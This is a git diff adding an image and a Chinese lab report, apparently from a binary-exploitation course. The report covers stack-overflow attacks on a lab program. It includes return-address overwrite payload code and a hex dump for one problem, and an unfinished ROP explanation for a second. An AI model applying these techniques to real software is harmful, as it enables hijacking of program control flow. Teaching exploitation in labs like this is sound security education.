0000000000000000000000000000000000000000..2cf38f2450021cfbb1e91c64e689cc9aeb625a1b GIT binary patch literal 17533 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⁣~0g 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 ZxBtemnAP3Mz=JgyJYD@<);T3K0RXG*2SWe= literal 0 HcmV?d00001 diff --git a/reports/report.md b/reports/report.md index 58757f4..31602c7 100644 --- a/reports/report.md +++ b/reports/report.md @@ -5,13 +5,75 @@ ### Problem 1: - **分析**: -- **解决方案**:payload是什么,即你的python代码or其他能体现你payload信息的代码/图片 -- **结果**:附上图片 + 1. **锁定目标**:反汇编发现隐藏函数 `func1`(地址 `0x401216`),其包含 `puts` 调用,确定为跳转目标。 + 2. **定位漏洞**:`func` 函数中 `strcpy` 存在栈溢出。指令 `lea -0x8(%rbp),%rax` 表明缓冲区始于 `rbp-0x8`。 + 3. **计算偏移**: + * 目标是覆盖 Return Address。 + * 栈布局:`Buffer (8 bytes)` -> `Saved RBP (8 bytes)` -> `Return Address`。 + * **Offset** = 8 (Buffer) + 8 (Saved RBP) = **16 字节**。 + * 故需填充 16 字节垃圾数据,随后写入 `func1` 地址。 + + +- **解决方案**: + Payload 结构为:`[16字节 Padding] + [8字节 Address]`。 + + **Python 构造逻辑**: + ```python + padding = b'A' * 16 # 填满 Buffer 和 RBP + addr = (0x401216).to_bytes(8, 'little') # func1 地址转为小端序 + # 写入文件... + ``` + + **Payload 二进制视图**: + ```text + 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| + 00000010 16 12 40 00 00 00 00 00 |..@.....| + ``` + +- **结果**: + ![Problem 1 Result](111.png) + + ### Problem 2: -- **分析**:... -- **解决方案**:payload是什么,即你的python代码or其他能体现你payload信息的代码/图片 -- **结果**:附上图片 +- **分析**: +1. **目标约束**:目标函数 `func2` (`0x401216`) 会检查第一个参数 `%edi` 是否等于 `0x3f8`。 + ```asm + 401222: 89 7d fc mov %edi,-0x4(%rbp) + 401225: 81 7d fc f8 03 00 00 cmpl $0x3f8,-0x4(%rbp) # 检查参数 + ``` + 2. **技术难点**:x86-64 架构下参数通过寄存器传递(Arg1 在 `%rdi`)。仅通过栈溢出覆盖返回地址无法直接修改寄存器,需使用 **ROP (Return Oriented Programming)** 技术。 + 3. **寻找 Gadget**:在程序中找到现成的指令片段 `pop %rdi; ret` (位于 `0x4012c7`)。 + * 该 Gadget 的作用是将栈顶数据弹出至 `%rdi`,然后返回,从而实现参数赋值。 + 4. **攻击链构造**: + * `[Padding 16字节]`:填满缓冲区。 + * 